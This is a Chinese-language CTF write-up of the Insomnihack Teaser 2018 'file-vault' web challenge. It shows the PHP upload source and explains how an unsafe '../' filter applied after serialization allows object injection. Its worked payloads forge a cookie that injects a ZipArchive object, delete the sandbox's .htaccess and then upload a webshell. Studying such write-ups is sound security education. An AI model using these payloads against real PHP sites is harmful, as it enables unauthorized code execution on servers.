队里月赛出了一道前不久insomnihack-teaser-2018的web:file-vault。是道对象注入的题目,我觉得不错,就做一下记录。其实也就是把原wp大致翻译了一下233333
0x00
这题是Insomnihack Teaser 2018的原题,题目的writeup地址自取:
https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault
0x01
题目上来是个文件上传的服务,给了源代码upload.php
fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
if(!isset($_GET['action'])) {
$_GET['action'] = 'home';
}
if(!isset($_COOKIE['files'])) {
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
}
switch($_GET['action']){
case 'home':
default:
$content = "";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "";
$i = 0;
foreach($files as $file) {
$content .= "- Click to show locations
";
$i++;
}
$content .= "
";
}
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
这个文件上传通过cookie来保存你上传的文件信息。$_COOKIE['files']的值是个反序列话的数组,数组的每个元素是一个UploadFile对象,保存了一个fakename(你上传的名字,可以修改)和一个realname(hash过的,真实的物理地址)。
这个文件上传一共有五个功能:
home: 通过反序列化cookie的值获得你的上传文件列表,然后显示在前端页面
upload: 上传文件,无过滤
changename: 修改某个已上传文件的fakename,然后重新序列化
open: 输出指定文件的fakename和realname
reset: 清空你的sandbox
UploadFile类就一个上传文件的函数和一个open函数。
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
但是因为每次建立sandbox的时候,都会在目录加上一个.htaccess文件来限制php的执行,因此我们无法直接上传shell。
同时由于在序列化和反序列化的时候做了签名,我们也不能直接通过修改cookie的方式来改变对象。
0x02
这道题的破题点在于源码里的myserialize函数。
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
这里在序列化对象之前,画蛇添足的加了一个过滤,把../过滤成了./
比如有这么一个序列化后的字符串
a:2:{i:0;s:3:"../";i:1;s:5:"hello";}
在myserialize函数处理后就变成了
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
那么问题在哪呢??
显而易见的,这个时候在反序列化的时候,php在读取a[0]的值的时候,认为是个3字节的字符串,就把./"
当做了值,而从这之后,反序列化肯定就出错了。
那么如果合理控制../的数量,是不是就可以引入一个非法的对象呢。
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}
对于这个序列化的字符串,处理以后
a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}
这个时候,s:39对应的字符串变成了./././././././././././././";i:1;s:20:"A
那么我们就把本来不应该有的Injected引入了进来。
0x03
回到题目本身,由于myserialize的问题,如果我们有一个可控点,就可以尝试引入非法的对象。这个可控点就是changename。
changename会修改fakename的值同时重新序列化对象。
假设我们有两个对象A和B。
A中的fakename是若干个../
B中的fakename是满足拼接条件的非法对象,通过重新序列化完全签名以后,我们就能通过反序列化引入非法的对象了。
0x04
最后的问题在于,我们引入一个怎样的对象来达到getshell的目的。因为sandbox下面的.htaccess文件导致我们无法getshell。所以我们只要想办法把.htaccess文件删除就可以了。
Upload类本身没有什么magic函数,可用的只有它的upload和open函数。
这时候就想到一些php带的类里存在的open函数是不是有什么可以利用的点了。
根据wp,发现了ZipArchive::open函数可以完成。
ZipArchive::open的第一个参数是文件名,第二个参数是flags,ZipArchive::OVERWRITE的意思是重写覆盖文件,这个操作会删除原来的文件。
因为UploadFile类的open函数的参数是fakename和realname,fakename对应.htaccess,realname对应flags,这里直接用了ZipArchive::OVERWRITE的integer值9。
0x05
原理大概是这样,然后是payload的构造。
序列化一个ZipArchive类的对象
fakename = "sandbox/7cde76f4236381046a154225000f20658cee136f/.htaccess";
$zip->realname = "9";
echo serialize($zip);
然后随便传一个A和一个B,得到序列化的值
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:1:"A";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:1:"B";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}}e63b1d808ed7d1bfc9ddc6559bb215ba5d456f9f8419e1eafe66770867e2164b
然后按照前面说的,把B的fakename改成需要构造的ZipArchive的内容
ZipArchive序列化的内容是
i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/badbbce4268ff077941c6a81cc8a5ec2faa73a8f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"
";}}
因为B本身后面还跟着一个";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt
67个无用的字节,所以comment的的长度为67
然后因为A等会吃掉的字符是直接吃到B的位置的,所以前面还需要补一段";s:8:"realname";s:1:"A";}
B的构造的fakename的最终值为
";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/badbbce4268ff077941c6a81cc8a5ec2faa73a8f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
";}}
然后因为A要吞的部分是
";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:297:"
一共117位,就是A的部分就是 "../"*117
0x06
按照上述步骤修改了B和A(先B后A)以后获得的cookie就是引入了非法对象的cookie了。
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:297:"";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/7cde76f4236381046a154225000f20658cee136f/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"911aaba06e0a1f2c3c8072f3390db020d7c82b7a.txt";}}1493de201a4cc794a075c78a0aa5b945f5d2a6937c7475708d9bd1a5606496ca
然后就是上传一个小马
调用一下index.php?action=open&i=1以后,就会执行数组中i:1的对象的open函数,即ZipArchive的open函数,成功删除.htaccess文件getshell